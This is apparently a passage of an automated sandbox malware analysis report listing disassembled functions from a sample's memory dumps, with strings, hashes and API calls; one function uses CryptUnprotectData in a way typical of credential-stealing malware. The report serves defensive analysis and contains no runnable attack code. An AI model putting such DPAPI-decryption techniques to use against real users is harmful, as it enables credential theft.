__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAE2E2D

Part of subcall function 6CAA81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAA81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CAE2E3B
expected a Time entry, xrefs: 6CAE2E36
(root), xrefs: 6CAE354F

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 6da16e2bdd0563a948abd63b35a2eae976157922b6ececd875c26fd8573f78c6
Instruction ID: a008e88681082356376248f12268064061907e8001a026f8c31b758762101c98
Opcode Fuzzy Hash: 6da16e2bdd0563a948abd63b35a2eae976157922b6ececd875c26fd8573f78c6
Instruction Fuzzy Hash: 3391D1706087818FC724CF28C49569FBBF5AFC9358F144A1DE59A87B90DB30D989CB92

Function 00C39C61 Relevance: 11.6, Strings: 8, Instructions: 1649COMMON

Download Yara Rule

Strings

Y)[:, xrefs: 00C3A209
7>], xrefs: 00C3A1BE
jIgv, xrefs: 00C3A4BB
E<5o, xrefs: 00C3A3A3
iRu|, xrefs: 00C39F4E
U4)Q, xrefs: 00C3AC66
rdL\, xrefs: 00C3AE98
iRu|, xrefs: 00C39F0F

Memory Dump Source

Source File: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7>]$E<5o$U4)Q$Y)[:$iRu|$iRu|$jIgv$rdL\
API String ID: 0-3674159604
Opcode ID: b5eaddd424a55bc97efd6355bedb0045dc192c7e30f95bb79ef1f16e839828a4
Instruction ID: f9ad8baaf51c88ff876ede67501e97834d018f88f78575d25a852dc79bf136b8
Opcode Fuzzy Hash: b5eaddd424a55bc97efd6355bedb0045dc192c7e30f95bb79ef1f16e839828a4
Instruction Fuzzy Hash: 5DB226F360C2049FE308AE29EC8567AFBE9EF94320F16493DE6C5C3744EA3558458697

Function 6CA9D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6CA9DE7F
@, xrefs: 6CA9DAF6
0, xrefs: 6CA9DC7F
, xrefs: 6CA9DA88
0, xrefs: 6CA9D852
1, xrefs: 6CA9DBDD
-, xrefs: 6CA9D7DD
8, xrefs: 6CA9DC08

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: abde715127edede73f143170987bad88805ff48b0455270304051687d7b68114
Instruction ID: 26b66cb93819678ce51e7b3785c98241d4fdf2c2285cab1a313c3696356d20e5
Opcode Fuzzy Hash: abde715127edede73f143170987bad88805ff48b0455270304051687d7b68114
Instruction Fuzzy Hash: B962BE71A2C3858FD701CF29C09275EBBF2AF86358F184A1DE4E54BA91C33599C5CB82

Function 00C3D1B4 Relevance: 10.4, Strings: 7, Instructions: 1609COMMON

Download Yara Rule

Strings

)s], xrefs: 00C3E329
,?^, xrefs: 00C3E44A
wb}, xrefs: 00C3D3F8
oX ", xrefs: 00C3D245
/mn, xrefs: 00C3D310
-s], xrefs: 00C3E32E
H:', xrefs: 00C3D921

Memory Dump Source

Source File: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )s]$,?^$-s]$/mn$oX "$wb}$H:'
API String ID: 0-3222742917
Opcode ID: c420513d5c0a88d74c5791447d059893ec30cd39de9af367862bc6c348d15cee
Instruction ID: d3cbc8d746444fc3f8fb4534e7656fe5d806367277c0e980badc3d8e391a077b
Opcode Fuzzy Hash: c420513d5c0a88d74c5791447d059893ec30cd39de9af367862bc6c348d15cee
Instruction Fuzzy Hash: BCB24AF3A0C2049FE3046E2DEC8567ABBE9EF94320F1A453DEAC4D7744E93598058697

Function 00C3BAB5 Relevance: 8.8, Strings: 6, Instructions: 1302COMMON

Download Yara Rule

Strings

E?=, xrefs: 00C3BF45
W,{, xrefs: 00C3C997
f|_, xrefs: 00C3C266
4x_|, xrefs: 00C3C15F
j8v, xrefs: 00C3C0E5
tD4, xrefs: 00C3BE07

Memory Dump Source

Source File: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4x_|$E?=$W,{$f|_$j8v$tD4
API String ID: 0-3760193619
Opcode ID: 6f8aa39ac92689ac4a94e8166ecf8c37662438221619cbb4dab0357ac681bb8a
Instruction ID: e283522a1f0547570109babf711ebbcabdcb9179e884324af65b5975aacb9412
Opcode Fuzzy Hash: 6f8aa39ac92689ac4a94e8166ecf8c37662438221619cbb4dab0357ac681bb8a
Instruction Fuzzy Hash: 0D92F4F360C2009FE304AE29DC85A7ABBE5EF94720F1A493DE6C5C3744EA3598458797

Function 00C3815A Relevance: 7.9, Strings: 5, Instructions: 1644COMMON

Download Yara Rule

Strings

~}, xrefs: 00C381F3
U$~., xrefs: 00C3894D
at, xrefs: 00C3820D
k{/, xrefs: 00C389EF
"*?s, xrefs: 00C38581

Memory Dump Source

Source File: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "*?s$U$~.$at$k{/$~}
API String ID: 0-2856951051
Opcode ID: ffd0c4bf23bc613ca8df86ee788f79fea58c06373ee7b11713603e1f1dbd8053
Instruction ID: 23f0bd739c698e729df7c5a00c340c046e7361ea8ab04f1af651a6ca757d1999
Opcode Fuzzy Hash: ffd0c4bf23bc613ca8df86ee788f79fea58c06373ee7b11713603e1f1dbd8053
Instruction Fuzzy Hash: CAB25DF3A082109FE704AE2DEC8577ABBDAEFD4320F16853DEAC4C7744E93558058696

Function 00C45907 Relevance: 7.9, Strings: 5, Instructions: 1613COMMON

Download Yara Rule

Strings

.2_, xrefs: 00C466BA
oS, xrefs: 00C4626F
4S:g, xrefs: 00C45D3D
U8_W, xrefs: 00C4656B
J, xrefs: 00C46573

Memory Dump Source

Source File: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .2_$4S:g$J$U8_W$oS
API String ID: 0-2657297491
Opcode ID: d24b3dc669eea4bf5cfe8dafd18ecf98cb0c219a9a931f6ce882597039abdb07
Instruction ID: 9e3a059b2339fc6d349c5c42a4ee94aefeaccf4b4be25b992af1e45c8ed8b43c
Opcode Fuzzy Hash: d24b3dc669eea4bf5cfe8dafd18ecf98cb0c219a9a931f6ce882597039abdb07
Instruction Fuzzy Hash: 9AB205F360C204AFE704AE29EC8567ABBE5EF94320F1A493DEAC4C7744E63558418797

Function 00877240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0087724D
RtlAllocateHeap.NTDLL(00000000), ref: 00877254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00877281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 008772A4
LocalFree.KERNEL32(?), ref: 008772AE

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 27d9a0916f188c52c4665e469c17b736cd1533fb2d0ee6bf886a183a4b482c7c
Instruction ID: ea8cdaa0882b2d8d88eba856bd1a91e100e3a16bae5a14ca0ffdcdfdfd51c272
Opcode Fuzzy Hash: 27d9a0916f188c52c4665e469c17b736cd1533fb2d0ee6bf886a183a4b482c7c
Instruction Fuzzy Hash: 9B010075A40208BBEB10DFD4CD45F9D7778FB44704F108154FB09EB2D1D670AA018B65

Function 00C3676D Relevance: 6.6, Strings: 4, Instructions: 1604COMMON

Download Yara Rule

Strings

&`"}, xrefs: 00C37202
-an, xrefs: 00C36CF0
E]>, xrefs: 00C374AA
1!y, xrefs: 00C36EF9

Memory Dump Source

Source File: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &`"}$-an$1!y$E]>
API String ID: 0-3424235173
Opcode ID: 4986609633dcf5e2f956f36d5fd537d4f4d1ecf608c93f827cfc1f81ab7560b3
Instruction ID: b85c8674baed3a4d21465af919e295d03a56890735e0dd850885b5a309798615
Opcode Fuzzy Hash: 4986609633dcf5e2f956f36d5fd537d4f4d1ecf608c93f827cfc1f81ab7560b3
Instruction Fuzzy Hash: 90B207B360C2109FE304AE2DEC4567ABBE9EFD4720F16893DEAC4C7344EA3558058697

Function 6CB0545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB08A4B

Memory Dump Source

